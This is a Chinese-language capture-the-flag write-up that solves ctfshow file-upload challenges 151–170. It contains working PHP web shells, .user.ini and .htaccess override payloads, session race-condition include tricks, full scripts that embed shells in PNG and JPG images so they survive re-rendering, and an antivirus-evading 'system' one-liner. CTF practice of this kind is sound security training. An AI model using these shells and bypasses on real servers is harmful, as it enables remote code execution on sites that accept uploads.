文件上传
第一百五十一题
前端验证图片是否为png格式
上传png格式文件,burp捉包改为php
第一百五十二题
增加了后端MIME类型验证,客户端可控
操作同上
第一百五十三题
上传.user.ini文件覆盖php.ini文件配置
贴上官方解释:
自PHP5.3.0起,PHP支持基于每个目录的INI文件配置,如果你的PHP以模块化运行在Apache里,则用.htaccess文件有同样效果
覆盖配置让所有php页面包含文件
使用auto_prepend_file与auto_append_file在所有php页面的顶部与底部require文件
auto_prepend_file=1.png #与.user.ini配置文件同目录的php文件都会在顶部require('1.png')
上传.user.ini文件覆盖配置
上传1.png图片马
upload/index.php顶部包含了1.png图片马
蚁剑连接
第一百五十四题
前端验证更严格了,上传一个真正的图片绕过前端
后端文件内容检测php关键字,短标签绕过,操作同上
第一百五十五题
同上
第一百五十六题
增加过滤[],用system直接执行系统命令
<?=system('tac ../flag*');?>
第一百五十七题
增加过滤分号
去掉分号执行系统命令
第一百五十八题
同上
第一百五十九题
增加过滤括号
反引号执行系统命令
第一百六十题
增加过滤反引号,include配合php伪协议读取源码
<?=include"ph"."p://filter/read=convert.base64-encode/resource=../flag.ph"."p"?> #php被过滤,用拼接符绕过
第一百六十一题
增加检测文件头,貌似只能是GIF89a文件头
GIF89a
auto_prepend_file=1.png
GIF89a
<?=include"ph"."p://filter/read=convert.base64-encode/resource=../flag.ph"."p"?>
第一百六十二题
增加过滤了点
配合条件竞争包含session文件
上传.user.ini覆盖配置
GIF89a
auto_prepend_file=/tmp/sess_png
构造数据包:
<!DOCTYPE html>
<html>
<body>
<form action="http://4a84e096-b0bf-44c0-92b7-c99eaf3f3d02.challenge.ctf.show:8080/upload/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="2333" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
burp捉包修改参数PHPSESSID与PHP_SESSION_UPLOAD_PROGRESS值
条件竞争包含临时文件来生成info.php文件
详参:https://kiityl.github.io/2021/05/19/ctfshow-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/#%E7%AC%AC%E5%85%AB%E5%8D%81%E4%BA%8C%E9%A2%98
第一百六十三题
同上
第一百六十四题
download.php存在文件包含,上传图片马配合文件包含
上传的图片经过了二次渲染,相当于写入图片的代码被过滤
运行脚本生成绕过二次渲染的png图片
<?php
/*<?$_GET[0]($_POST[1]);?>*/
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
0x66, 0x44, 0x50, 0x33);
$img = imagecreatetruecolor(32, 32);
for ($y = 0; $y < sizeof($p); $y += 3) {
$r = $p[$y];
$g = $p[$y+1];
$b = $p[$y+2];
$color = imagecolorallocate($img, $r, $g, $b);
imagesetpixel($img, round($y / 3), 0, $color);
}
imagepng($img,'1.png');
?>
安装gd库运行脚本
sudo apt-get update
sudo apt-get install php-gd
php 脚本名 #生成图片内含代码<?$_GET[0]($_POST[1]);?>
上传图片,包含图片,burp捉包POST命令
二次渲染可参考:https://blog.csdn.net/qq_40800734/article/details/105920149
第一百六十五题
绕过二次渲染的jpg脚本:
<?php
/*
The algorithm of injecting the payload into the JPG image, which will keep unchanged after transformations caused by PHP functions imagecopyresized() and imagecopyresampled().
It is necessary that the size and quality of the initial image are the same as those of the processed image.
1) Upload an arbitrary image via secured files upload script
2) Save the processed image and launch:
jpg_payload.php <jpg_name.jpg>
In case of successful injection you will get a specially crafted image, which should be uploaded again.
Since the most straightforward injection method is used, the following problems can occur:
1) After the second processing the injected data may become partially corrupted.
2) The jpg_payload.php script outputs "Something's wrong".
If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.
Sergey Bobrov @Black2Fan.
See also:
https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
*/
$miniPayload = '<?=eval($_POST[1]);?>';
if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
die('php-gd is not installed');
}
if(!isset($argv[1])) {
die('php jpg_payload.php <jpg_name.jpg>');
}
set_error_handler("custom_error_handler");
for($pad = 0; $pad < 1024; $pad++) {
$nullbytePayloadSize = $pad;
$dis = new DataInputStream($argv[1]);
$outStream = file_get_contents($argv[1]);
$extraBytes = 0;
$correctImage = TRUE;
if($dis->readShort() != 0xFFD8) {
die('Incorrect SOI marker');
}
while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
$marker = $dis->readByte();
$size = $dis->readShort() - 2;
$dis->skip($size);
if($marker === 0xDA) {
$startPos = $dis->seek();
$outStreamTmp =
substr($outStream, 0, $startPos) .
$miniPayload .
str_repeat("\0",$nullbytePayloadSize) .
substr($outStream, $startPos);
checkImage('_'.$argv[1], $outStreamTmp, TRUE);
if($extraBytes !== 0) {
while((!$dis->eof())) {
if($dis->readByte() === 0xFF) {
if($dis->readByte !== 0x00) {
break;
}
}
}
$stopPos = $dis->seek() - 2;
$imageStreamSize = $stopPos - $startPos;
$outStream =
substr($outStream, 0, $startPos) .
$miniPayload .
substr(
str_repeat("\0",$nullbytePayloadSize).
substr($outStream, $startPos, $imageStreamSize),
0,
$nullbytePayloadSize+$imageStreamSize-$extraBytes) .
substr($outStream, $stopPos);
} elseif($correctImage) {
$outStream = $outStreamTmp;
} else {
break;
}
if(checkImage('payload_'.$argv[1], $outStream)) {
die('Success!');
} else {
break;
}
}
}
}
unlink('payload_'.$argv[1]);
die('Something\'s wrong');
function checkImage($filename, $data, $unlink = FALSE) {
global $correctImage;
file_put_contents($filename, $data);
$correctImage = TRUE;
imagecreatefromjpeg($filename);
if($unlink)
unlink($filename);
return $correctImage;
}
function custom_error_handler($errno, $errstr, $errfile, $errline) {
global $extraBytes, $correctImage;
$correctImage = FALSE;
if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
if(isset($m[1])) {
$extraBytes = (int)$m[1];
}
}
}
class DataInputStream {
private $binData;
private $order;
private $size;
public function __construct($filename, $order = false, $fromString = false) {
$this->binData = '';
$this->order = $order;
if(!$fromString) {
if(!file_exists($filename) || !is_file($filename))
die('File not exists ['.$filename.']');
$this->binData = file_get_contents($filename);
} else {
$this->binData = $filename;
}
$this->size = strlen($this->binData);
}
public function seek() {
return ($this->size - strlen($this->binData));
}
public function skip($skip) {
$this->binData = substr($this->binData, $skip);
}
public function readByte() {
if($this->eof()) {
die('End Of File');
}
$byte = substr($this->binData, 0, 1);
$this->binData = substr($this->binData, 1);
return ord($byte);
}
public function readShort() {
if(strlen($this->binData) < 2) {
die('End Of File');
}
$short = substr($this->binData, 0, 2);
$this->binData = substr($this->binData, 2);
if($this->order) {
$short = (ord($short[1]) << 8) + ord($short[0]);
} else {
$short = (ord($short[0]) << 8) + ord($short[1]);
}
return $short;
}
public function eof() {
return !$this->binData||(strlen($this->binData) === 0);
}
}
?>
用法:
先上传一张jpg图片,并把上传的图片下载到本地
php 脚本名 下载到本地的图片名
上传图片,包含图片,burp捉包POST执行命令(或蚁剑连接)
这里贴一张能用的图片:
第一百六十六题
只能上传zip后缀文件
一句话改为zip后缀上传,配合文件包含getshell
上传文件(此处mime类型为application/zip无法上传成功,application/x-zip-compressed上传成功):
文件包含,burp捉包POST执行命令
第一百六十七题
没有文件包含漏洞配合使用,apache服务器上传.htaccess文件覆盖apache配置
AddType application/x-httpd-php .php .phtml .php3 .png 把png文件当作php文件解析
AddHandler php5-script php 当文件名中出现php关键字时,文件中的内容会被当中代码执行
<FilesMatch "ajest">
SetHandler application/x-httpd-php
</FilesMatch> 匹配文件名,当文件名为ajest时,里面的代码会被执行
上传.htaccess文件,上传jpg木马getshell
第一百六十八题
常见的一句话木马无法上传,上传了的也无法执行
免杀一句话:
<?php
$poc="s#y#s#t#e#m";
$poc_1=explode("#",$poc);
$poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5];
$poc_2($_REQUEST['1']);
?>
上传免杀一句话
执行代码
第一百六十九题
MIME类型改为image/png可以成功上传文件
文件内容过滤了尖括号
上传.user.ini包含日志文件
上传一个php文件,用于包含日志文件
写入一句话到日志
执行代码(可蚁剑连接)
第一百七十题
同上
还可以配合条件竞争包含session文件
上传.user.ini文件包含session文件
上传index.php用于包含文件
本地构造数据包
条件竞争生成一句话木马
详参:https://kiityl.github.io/2021/05/19/ctfshow-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB/#%E7%AC%AC%E5%85%AB%E5%8D%81%E4%BA%8C%E9%A2%98